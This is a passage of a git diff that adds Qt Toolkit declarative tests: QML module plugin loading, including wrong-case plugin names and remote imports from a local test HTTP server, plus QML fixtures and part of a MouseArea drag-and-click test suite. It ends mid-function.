+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QStringList>
+#include <QtDeclarative/qdeclarativeextensionplugin.h>
+#include <QtDeclarative/qdeclarative.h>
+#include <QDebug>
+
+class MyPluginType : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(int value READ value WRITE setValue)
+
+public:
+ MyPluginType(QObject *parent=0) : QObject(parent)
+ {
+ qWarning("import worked");
+ }
+
+ int value() const { return v; }
+ void setValue(int i) { v = i; }
+
+private:
+ int v;
+};
+
+
+class MyPlugin : public QDeclarativeExtensionPlugin
+{
+ Q_OBJECT
+public:
+ MyPlugin()
+ {
+ qWarning("plugin created");
+ }
+
+ void registerTypes(const char *uri)
+ {
+ Q_ASSERT(QLatin1String(uri) == "com.nokia.WrongCase");
+ qmlRegisterType<MyPluginType>(uri, 1, 0, "MyPluginType");
+ }
+};
+
+#include "plugin.moc"
+
+Q_EXPORT_PLUGIN2(plugin, MyPlugin);
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/pluginWrongCase/pluginWrongCase.pro b/tests/auto/declarative/qdeclarativemoduleplugin/pluginWrongCase/pluginWrongCase.pro
new file mode 100644
index 00000000..c7337ca0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/pluginWrongCase/pluginWrongCase.pro
@@ -0,0 +1,10 @@
+TEMPLATE = lib
+CONFIG += plugin
+SOURCES = plugin.cpp
+QT = core declarative
+TARGET = Plugin
+DESTDIR = ../imports/com/nokia/WrongCase
+
+symbian: {
+ TARGET.EPOCALLOWDLLDATA=1
+}
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/qdeclarativemoduleplugin.pro b/tests/auto/declarative/qdeclarativemoduleplugin/qdeclarativemoduleplugin.pro
new file mode 100644
index 00000000..6e72d983
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/qdeclarativemoduleplugin.pro
@@ -0,0 +1,8 @@
+QT = core
+TEMPLATE = subdirs
+SUBDIRS = plugin plugin.2 plugin.2.1 pluginWrongCase pluginWithQmlFile pluginMixed pluginVersion
+tst_qdeclarativemoduleplugin_pro.depends += plugin
+SUBDIRS += tst_qdeclarativemoduleplugin.pro
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.cpp b/tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.cpp
new file mode 100644
index 00000000..cc22da45
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.cpp
@@ -0,0 +1,338 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <qtest.h>
+#include <qdir.h>
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QtDeclarative/qdeclarativecomponent.h>
+#include <QDebug>
+#include <QtCore/qlibraryinfo.h>
+
+#include "../shared/testhttpserver.h"
+#include "../../../shared/util.h"
+
+#define SERVER_ADDR "http://127.0.0.1:14450"
+#define SERVER_PORT 14450
+
+
+class tst_qdeclarativemoduleplugin : public QObject
+{
+ Q_OBJECT
+public:
+ tst_qdeclarativemoduleplugin()
+ {
+ }
+
+private slots:
+ void importsPlugin();
+ void importsPlugin2();
+ void importsPlugin21();
+ void importsMixedQmlCppPlugin();
+ void incorrectPluginCase();
+ void importPluginWithQmlFile();
+ void remoteImportWithQuotedUrl();
+ void remoteImportWithUnquotedUri();
+ void versionNotInstalled();
+ void versionNotInstalled_data();
+ void importPath();
+};
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+#define VERIFY_ERRORS(errorfile) \
+ if (!errorfile) { \
+ if (qgetenv("DEBUG") != "" && !component.errors().isEmpty()) \
+ qWarning() << "Unexpected Errors:" << component.errors(); \
+ QVERIFY(!component.isError()); \
+ QVERIFY(component.errors().isEmpty()); \
+ } else { \
+ QFile file(QLatin1String("data/") + QLatin1String(errorfile)); \
+ QVERIFY(file.open(QIODevice::ReadOnly | QIODevice::Text)); \
+ QByteArray data = file.readAll(); \
+ file.close(); \
+ QList<QByteArray> expected = data.split('\n'); \
+ expected.removeAll(QByteArray("")); \
+ QList<QDeclarativeError> errors = component.errors(); \
+ QList<QByteArray> actual; \
+ for (int ii = 0; ii < errors.count(); ++ii) { \
+ const QDeclarativeError &error = errors.at(ii); \
+ QByteArray errorStr = QByteArray::number(error.line()) + ":" + \
+ QByteArray::number(error.column()) + ":" + \
+ error.description().toUtf8(); \
+ actual << errorStr; \
+ } \
+ if (qgetenv("DEBUG") != "" && expected != actual) \
+ qWarning() << "Expected:" << expected << "Actual:" << actual; \
+ if (qgetenv("QDECLARATIVELANGUAGE_UPDATEERRORS") != "" && expected != actual) {\
+ QFile file(QLatin1String("data/") + QLatin1String(errorfile)); \
+ QVERIFY(file.open(QIODevice::WriteOnly)); \
+ for (int ii = 0; ii < actual.count(); ++ii) { \
+ file.write(actual.at(ii)); file.write("\n"); \
+ } \
+ file.close(); \
+ } else { \
+ QCOMPARE(expected, actual); \
+ } \
+ }
+
+inline QUrl TEST_FILE(const QString &filename)
+{
+ QFileInfo fileInfo(__FILE__);
+ return QUrl::fromLocalFile(fileInfo.absoluteDir().filePath(filename));
+}
+
+
+void tst_qdeclarativemoduleplugin::importsPlugin()
+{
+ QDeclarativeEngine engine;
+ engine.addImportPath(QLatin1String(SRCDIR) + QDir::separator() + QLatin1String("imports"));
+ QTest::ignoreMessage(QtWarningMsg, "plugin created");
+ QTest::ignoreMessage(QtWarningMsg, "import worked");
+ QDeclarativeComponent component(&engine, TEST_FILE("data/works.qml"));
+ foreach (QDeclarativeError err, component.errors())
+ qWarning() << err;
+ VERIFY_ERRORS(0);
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+ QCOMPARE(object->property("value").toInt(),123);
+ delete object;
+}
+
+void tst_qdeclarativemoduleplugin::importsPlugin2()
+{
+ QDeclarativeEngine engine;
+ engine.addImportPath(QLatin1String(SRCDIR) + QDir::separator() + QLatin1String("imports"));
+ QTest::ignoreMessage(QtWarningMsg, "plugin2 created");
+ QTest::ignoreMessage(QtWarningMsg, "import2 worked");
+ QDeclarativeComponent component(&engine, TEST_FILE("data/works2.qml"));
+ foreach (QDeclarativeError err, component.errors())
+ qWarning() << err;
+ VERIFY_ERRORS(0);
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+ QCOMPARE(object->property("value").toInt(),123);
+ delete object;
+}
+
+void tst_qdeclarativemoduleplugin::importsPlugin21()
+{
+ QDeclarativeEngine engine;
+ engine.addImportPath(QLatin1String(SRCDIR) + QDir::separator() + QLatin1String("imports"));
+ QTest::ignoreMessage(QtWarningMsg, "plugin2.1 created");
+ QTest::ignoreMessage(QtWarningMsg, "import2.1 worked");
+ QDeclarativeComponent component(&engine, TEST_FILE("data/works21.qml"));
+ foreach (QDeclarativeError err, component.errors())
+ qWarning() << err;
+ VERIFY_ERRORS(0);
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+ QCOMPARE(object->property("value").toInt(),123);
+ delete object;
+}
+
+void tst_qdeclarativemoduleplugin::incorrectPluginCase()
+{
+ QDeclarativeEngine engine;
+ engine.addImportPath(QLatin1String(SRCDIR) + QDir::separator() + QLatin1String("imports"));
+
+ QDeclarativeComponent component(&engine, TEST_FILE("data/incorrectCase.qml"));
+
+ QList<QDeclarativeError> errors = component.errors();
+ QCOMPARE(errors.count(), 1);
+
+#if defined(Q_OS_MAC) || defined(Q_OS_WIN32)
+#if defined(Q_OS_MAC)
+ QString libname = "libPluGin.dylib";
+#elif defined(Q_OS_WIN32)
+ QString libname = "PluGin.dll";
+#endif
+ QString expectedError = QLatin1String("plugin cannot be loaded for module \"com.nokia.WrongCase\": File name case mismatch for \"") + QFileInfo(__FILE__).absoluteDir().filePath("imports/com/nokia/WrongCase/" + libname) + QLatin1String("\"");
+#else
+ QString expectedError = QLatin1String("module \"com.nokia.WrongCase\" plugin \"PluGin\" not found");
+#endif
+
+ QCOMPARE(errors.at(0).description(), expectedError);
+}
+
+void tst_qdeclarativemoduleplugin::importPluginWithQmlFile()
+{
+ QString path = QLatin1String(SRCDIR) + QDir::separator() + QLatin1String("imports");
+
+ // QTBUG-16885: adding an import path with a lower-case "c:" causes assert failure
+ // (this only happens if the plugin includes pure QML files)
+ #ifdef Q_OS_WIN
+ QVERIFY(path.at(0).isUpper() && path.at(1) == QLatin1Char(':'));
+ path = path.at(0).toLower() + path.mid(1);
+ #endif
+
+ QDeclarativeEngine engine;
+ engine.addImportPath(path);
+
+ QDeclarativeComponent component(&engine, TEST_FILE("data/pluginWithQmlFile.qml"));
+ foreach (QDeclarativeError err, component.errors())
+ qWarning() << err;
+ VERIFY_ERRORS(0);
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+ delete object;
+}
+
+void tst_qdeclarativemoduleplugin::remoteImportWithQuotedUrl()
+{
+ TestHTTPServer server(SERVER_PORT);
+ QVERIFY(server.isValid());
+ server.serveDirectory(SRCDIR "/imports");
+
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine);
+ component.setData("import \"http://127.0.0.1:14450/com/nokia/PureQmlModule\" \nComponentA { width: 300; ComponentB{} }", QUrl());
+
+ QTRY_COMPARE(component.status(), QDeclarativeComponent::Ready);
+ QObject *object = component.create();
+ QCOMPARE(object->property("width").toInt(), 300);
+ QVERIFY(object != 0);
+ delete object;
+
+ foreach (QDeclarativeError err, component.errors())
+ qWarning() << err;
+ VERIFY_ERRORS(0);
+}
+
+void tst_qdeclarativemoduleplugin::remoteImportWithUnquotedUri()
+{
+ TestHTTPServer server(SERVER_PORT);
+ QVERIFY(server.isValid());
+ server.serveDirectory(SRCDIR "/imports");
+
+ QDeclarativeEngine engine;
+ engine.addImportPath(QLatin1String(SRCDIR) + QDir::separator() + QLatin1String("imports"));
+ QDeclarativeComponent component(&engine);
+ component.setData("import com.nokia.PureQmlModule 1.0 \nComponentA { width: 300; ComponentB{} }", QUrl());
+
+
+ QTRY_COMPARE(component.status(), QDeclarativeComponent::Ready);
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+ QCOMPARE(object->property("width").toInt(), 300);
+ delete object;
+
+ foreach (QDeclarativeError err, component.errors())
+ qWarning() << err;
+ VERIFY_ERRORS(0);
+}
+
+// QTBUG-17324
+void tst_qdeclarativemoduleplugin::importsMixedQmlCppPlugin()
+{
+ QDeclarativeEngine engine;
+ engine.addImportPath(QLatin1String(SRCDIR) + QDir::separator() + QLatin1String("imports"));
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("data/importsMixedQmlCppPlugin.qml"));
+
+ QObject *o = component.create();
+ QVERIFY(o != 0);
+ QCOMPARE(o->property("test").toBool(), true);
+ delete o;
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("data/importsMixedQmlCppPlugin.2.qml"));
+
+ QObject *o = component.create();
+ QVERIFY(o != 0);
+ QCOMPARE(o->property("test").toBool(), true);
+ QCOMPARE(o->property("test2").toBool(), true);
+ delete o;
+ }
+
+
+}
+
+void tst_qdeclarativemoduleplugin::versionNotInstalled_data()
+{
+ QTest::addColumn<QString>("file");
+ QTest::addColumn<QString>("errorFile");
+
+ QTest::newRow("versionNotInstalled") << "data/versionNotInstalled.qml" << "versionNotInstalled.errors.txt";
+ QTest::newRow("versionNotInstalled") << "data/versionNotInstalled.2.qml" << "versionNotInstalled.2.errors.txt";
+}
+
+void tst_qdeclarativemoduleplugin::versionNotInstalled()
+{
+ QFETCH(QString, file);
+ QFETCH(QString, errorFile);
+
+ QDeclarativeEngine engine;
+ engine.addImportPath(QLatin1String(SRCDIR) + QDir::separator() + QLatin1String("imports"));
+
+ QDeclarativeComponent component(&engine, TEST_FILE(file));
+ VERIFY_ERRORS(errorFile.toLatin1().constData());
+}
+
+void tst_qdeclarativemoduleplugin::importPath()
+{
+#ifndef Q_OS_SYMBIAN
+ QSKIP("Import path order testing for Symbian only", SkipAll);
+#else
+ QDeclarativeEngine engine;
+ QStringList imports = engine.importPathList();
+ QString installImportsPath = QDir::cleanPath(QLibraryInfo::location(QLibraryInfo::ImportsPath));
+ QString driveOrder(QLatin1String("ZABCDEFGHIJKLMNOPQRSTUVWXY"));
+ int lastOrder = 30;
+ foreach(QString import, imports)
+ {
+ if (import.endsWith(installImportsPath))
+ {
+ int order = driveOrder.indexOf(import[0]);
+ QVERIFY(order < lastOrder);
+ lastOrder = order;
+ }
+ }
+ QVERIFY(lastOrder != 30);
+#endif
+}
+
+QTEST_MAIN(tst_qdeclarativemoduleplugin)
+
+#include "tst_qdeclarativemoduleplugin.moc"
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.pro b/tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.pro
new file mode 100644
index 00000000..98cd4729
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.pro
@@ -0,0 +1,15 @@
+load(qttest_p4)
+
+HEADERS = ../shared/testhttpserver.h
+SOURCES = tst_qdeclarativemoduleplugin.cpp \
+ ../shared/testhttpserver.cpp
+QT += declarative network
+CONFIG -= app_bundle
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
diff --git a/tests/auto/declarative/qdeclarativemousearea/data/clickandhold.qml b/tests/auto/declarative/qdeclarativemousearea/data/clickandhold.qml
new file mode 100644
index 00000000..a6409e2e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemousearea/data/clickandhold.qml
@@ -0,0 +1,13 @@
+import QtQuick 1.0
+
+Item {
+ id: root
+ property bool clicked: false
+ property bool held: false
+
+ MouseArea {
+ width: 200; height: 200
+ onClicked: { root.clicked = true }
+ onPressAndHold: { root.held = true }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativemousearea/data/clicktwice.qml b/tests/auto/declarative/qdeclarativemousearea/data/clicktwice.qml
new file mode 100644
index 00000000..c6b1f899
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemousearea/data/clicktwice.qml
@@ -0,0 +1,16 @@
+import QtQuick 1.0
+
+Item {
+ id: root
+ property int clicked: 0
+ property int pressed: 0
+ property int released: 0
+
+ MouseArea {
+ width: 200; height: 200
+ onPressed: { root.pressed++ }
+ onClicked: { root.clicked++ }
+ onReleased: { root.released++ }
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativemousearea/data/doubleclick.qml b/tests/auto/declarative/qdeclarativemousearea/data/doubleclick.qml
new file mode 100644
index 00000000..55b0812e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemousearea/data/doubleclick.qml
@@ -0,0 +1,16 @@
+import QtQuick 1.0
+
+Item {
+ id: root
+ property int clicked: 0
+ property int doubleClicked: 0
+ property int released: 0
+
+ MouseArea {
+ width: 200; height: 200
+ onClicked: { root.clicked++ }
+ onDoubleClicked: { root.doubleClicked++ }
+ onReleased: { root.released++ }
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativemousearea/data/dragging.qml b/tests/auto/declarative/qdeclarativemousearea/data/dragging.qml
new file mode 100644
index 00000000..dd89efb5
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemousearea/data/dragging.qml
@@ -0,0 +1,28 @@
+import QtQuick 1.0
+Rectangle {
+ id: whiteRect
+ width: 200
+ height: 200
+ color: "white"
+ Rectangle {
+ id: blackRect
+ objectName: "blackrect"
+ color: "black"
+ y: 50
+ x: 50
+ width: 100
+ height: 100
+ opacity: (whiteRect.width-blackRect.x+whiteRect.height-blackRect.y-199)/200
+ Text { text: blackRect.opacity}
+ MouseArea {
+ objectName: "mouseregion"
+ anchors.fill: parent
+ drag.target: blackRect
+ drag.axis: Drag.XandYAxis
+ drag.minimumX: 0
+ drag.maximumX: whiteRect.width-blackRect.width
+ drag.minimumY: 0
+ drag.maximumY: whiteRect.height-blackRect.height
+ }
+ }
+ }
diff --git a/tests/auto/declarative/qdeclarativemousearea/data/dragproperties.qml b/tests/auto/declarative/qdeclarativemousearea/data/dragproperties.qml
new file mode 100644
index 00000000..7baefd5d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemousearea/data/dragproperties.qml
@@ -0,0 +1,28 @@
+import QtQuick 1.0
+Rectangle {
+ id: whiteRect
+ width: 200
+ height: 200
+ color: "white"
+ Rectangle {
+ id: blackRect
+ objectName: "blackrect"
+ color: "black"
+ y: 50
+ x: 50
+ width: 100
+ height: 100
+ opacity: (whiteRect.width-blackRect.x+whiteRect.height-blackRect.y-199)/200
+ Text { text: blackRect.opacity}
+ MouseArea {
+ objectName: "mouseregion"
+ anchors.fill: parent
+ drag.target: blackRect
+ drag.axis: Drag.XandYAxis
+ drag.minimumX: 0
+ drag.maximumX: whiteRect.width-blackRect.width
+ drag.minimumY: 0
+ drag.maximumY: whiteRect.height-blackRect.height
+ }
+ }
+ }
diff --git a/tests/auto/declarative/qdeclarativemousearea/data/dragreset.qml b/tests/auto/declarative/qdeclarativemousearea/data/dragreset.qml
new file mode 100644
index 00000000..c6d2e204
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemousearea/data/dragreset.qml
@@ -0,0 +1,28 @@
+import QtQuick 1.0
+Rectangle {
+ id: whiteRect
+ width: 200
+ height: 200
+ color: "white"
+ Rectangle {
+ id: blackRect
+ objectName: "blackrect"
+ color: "black"
+ y: 50
+ x: 50
+ width: 100
+ height: 100
+ opacity: (whiteRect.width-blackRect.x+whiteRect.height-blackRect.y-199)/200
+ Text { text: blackRect.opacity}
+ MouseArea {
+ objectName: "mouseregion"
+ anchors.fill: parent
+ drag.target: haveTarget ? blackRect : undefined
+ drag.axis: Drag.XandYAxis
+ drag.minimumX: 0
+ drag.maximumX: whiteRect.width-blackRect.width
+ drag.minimumY: 0
+ drag.maximumY: whiteRect.height-blackRect.height
+ }
+ }
+ }
diff --git a/tests/auto/declarative/qdeclarativemousearea/data/pressedOrdering.qml b/tests/auto/declarative/qdeclarativemousearea/data/pressedOrdering.qml
new file mode 100644
index 00000000..4a80e834
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemousearea/data/pressedOrdering.qml
@@ -0,0 +1,28 @@
+import QtQuick 1.0
+
+Item {
+ id: root
+ property string value: "base"
+
+ MouseArea {
+ id: mouseArea
+ width: 200; height: 200
+ onClicked: toggleState.state = "toggled"
+ }
+
+ StateGroup {
+ states: State {
+ name: "pressed"
+ when: mouseArea.pressed
+ PropertyChanges { target: root; value: "pressed" }
+ }
+ }
+
+ StateGroup {
+ id: toggleState
+ states: State {
+ name: "toggled"
+ PropertyChanges { target: root; value: "toggled" }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativemousearea/data/preventContextMenu.qml b/tests/auto/declarative/qdeclarativemousearea/data/preventContextMenu.qml
new file mode 100644
index 00000000..dcbb5d76
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemousearea/data/preventContextMenu.qml
@@ -0,0 +1,22 @@
+import QtQuick 1.1
+import Test 1.0
+
+Item {
+ width: 200
+ height: 200
+
+ property alias mouseAreaEnabled: mouseArea.enabled
+ property alias eventsReceived: receiver.eventCount
+
+ ContextMenuEventReceiver {
+ id: receiver
+ anchors.fill: parent
+ }
+
+ MouseArea {
+ id: mouseArea
+ anchors.fill: parent
+ acceptedButtons: Qt.LeftButton | Qt.MiddleButton | Qt.RightButton
+ enabled: true
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativemousearea/data/preventstealing.qml b/tests/auto/declarative/qdeclarativemousearea/data/preventstealing.qml
new file mode 100644
index 00000000..11553fad
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemousearea/data/preventstealing.qml
@@ -0,0 +1,24 @@
+import QtQuick 1.1
+
+Flickable {
+ property bool stealing: true
+ width: 200
+ height: 200
+ contentWidth: 400
+ contentHeight: 400
+ Rectangle {
+ color: "black"
+ width: 400
+ height: 400
+ Rectangle {
+ x: 50; y: 50
+ width: 100; height: 100
+ color: "steelblue"
+ MouseArea {
+ objectName: "mousearea"
+ anchors.fill: parent
+ preventStealing: stealing
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativemousearea/data/rejectEvent.qml b/tests/auto/declarative/qdeclarativemousearea/data/rejectEvent.qml
new file mode 100644
index 00000000..fc8292d7
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemousearea/data/rejectEvent.qml
@@ -0,0 +1,28 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: root
+ color: "#ffffff"
+ width: 320; height: 240
+ property bool mr1_pressed: false
+ property bool mr1_released: false
+ property bool mr1_canceled: false
+ property bool mr2_pressed: false
+ property bool mr2_released: false
+ property bool mr2_canceled: false
+
+ MouseArea {
+ id: mouseRegion1
+ anchors.fill: parent
+ onPressed: { root.mr1_pressed = true }
+ onReleased: { root.mr1_released = true }
+ onCanceled: { root.mr1_canceled = true }
+ }
+ MouseArea {
+ id: mouseRegion2
+ width: 120; height: 120
+ onPressed: { root.mr2_pressed = true; mouse.accepted = false }
+ onReleased: { root.mr2_released = true }
+ onCanceled: { root.mr2_canceled = true }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativemousearea/data/updateMousePosOnClick.qml b/tests/auto/declarative/qdeclarativemousearea/data/updateMousePosOnClick.qml
new file mode 100644
index 00000000..b77f7431
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemousearea/data/updateMousePosOnClick.qml
@@ -0,0 +1,20 @@
+import QtQuick 1.0
+
+Rectangle {
+ color: "#ffffff"
+ width: 320; height: 240
+ MouseArea {
+ id: mouseRegion
+ objectName: "mouseregion"
+ anchors.fill: parent
+ Rectangle {
+ id: ball
+ objectName: "ball"
+ width: 20; height: 20
+ radius: 10
+ color: "#0000ff"
+ x: { mouseRegion.mouseX }
+ y: mouseRegion.mouseY
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativemousearea/data/updateMousePosOnResize.qml b/tests/auto/declarative/qdeclarativemousearea/data/updateMousePosOnResize.qml
new file mode 100644
index 00000000..6571d8b1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemousearea/data/updateMousePosOnResize.qml
@@ -0,0 +1,38 @@
+import QtQuick 1.0
+
+Rectangle {
+ color: "#ffffff"
+ width: 320; height: 240
+ Rectangle {
+ id: brother
+ objectName: "brother"
+ color: "lightgreen"
+ x: 200; y: 100
+ width: 120; height: 120
+ }
+ MouseArea {
+ id: mouseRegion
+ objectName: "mouseregion"
+
+ property int x1
+ property int y1
+ property int x2
+ property int y2
+ property bool emitPositionChanged: false
+ property bool mouseMatchesPos: true
+
+ anchors.fill: brother
+ onPressed: {
+ if (mouse.x != mouseX || mouse.y != mouseY)
+ mouseMatchesPos = false
+ x1 = mouseX; y1 = mouseY
+ anchors.fill = parent
+ }
+ onPositionChanged: { emitPositionChanged = true }
+ onMousePositionChanged: {
+ if (mouse.x != mouseX || mouse.y != mouseY)
+ mouseMatchesPos = false
+ x2 = mouseX; y2 = mouseY
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativemousearea/qdeclarativemousearea.pro b/tests/auto/declarative/qdeclarativemousearea/qdeclarativemousearea.pro
new file mode 100644
index 00000000..ed9313fe
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemousearea/qdeclarativemousearea.pro
@@ -0,0 +1,17 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative gui network
+macx:CONFIG -= app_bundle
+
+HEADERS += ../shared/testhttpserver.h
+SOURCES += tst_qdeclarativemousearea.cpp ../shared/testhttpserver.cpp
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/qdeclarativemousearea/tst_qdeclarativemousearea.cpp b/tests/auto/declarative/qdeclarativemousearea/tst_qdeclarativemousearea.cpp
new file mode 100644
index 00000000..078fa12c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemousearea/tst_qdeclarativemousearea.cpp
@@ -0,0 +1,705 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtTest/QtTest>
+#include <QtTest/QSignalSpy>
+#include <private/qdeclarativemousearea_p.h>
+#include <private/qdeclarativerectangle_p.h>
+#include <private/qdeclarativeflickable_p.h>
+#include <QtDeclarative/qdeclarativeview.h>
+#include <QtDeclarative/qdeclarativecontext.h>
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QtDeclarative/qdeclarativeproperty.h>
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+class tst_QDeclarativeMouseArea: public QObject
+{
+ Q_OBJECT
+private slots:
+ void dragProperties();
+ void resetDrag();
+ void dragging();
+ void updateMouseAreaPosOnClick();
+ void updateMouseAreaPosOnResize();
+ void noOnClickedWithPressAndHold();
+ void onMousePressRejected();
+ void doubleClick();
+ void clickTwice();
+ void pressedOrdering();
+ void preventStealing();
+ void testQtQuick11Attributes();
+ void testQtQuick11Attributes_data();
+#ifndef QT_NO_CONTEXTMENU
+ void preventContextMenu();
+#endif // QT_NO_CONTEXTMENU
+
+private:
+ QDeclarativeView *createView();
+};
+
+void tst_QDeclarativeMouseArea::dragProperties()
+{
+ QDeclarativeView *canvas = createView();
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/dragproperties.qml"));
+ canvas->show();
+ canvas->setFocus();
+ QVERIFY(canvas->rootObject() != 0);
+
+ QDeclarativeMouseArea *mouseRegion = canvas->rootObject()->findChild<QDeclarativeMouseArea*>("mouseregion");
+ QDeclarativeDrag *drag = mouseRegion->drag();
+ QVERIFY(mouseRegion != 0);
+ QVERIFY(drag != 0);
+
+ // target
+ QDeclarativeItem *blackRect = canvas->rootObject()->findChild<QDeclarativeItem*>("blackrect");
+ QVERIFY(blackRect != 0);
+ QVERIFY(blackRect == drag->target());
+ QDeclarativeItem *rootItem = qobject_cast<QDeclarativeItem*>(canvas->rootObject());
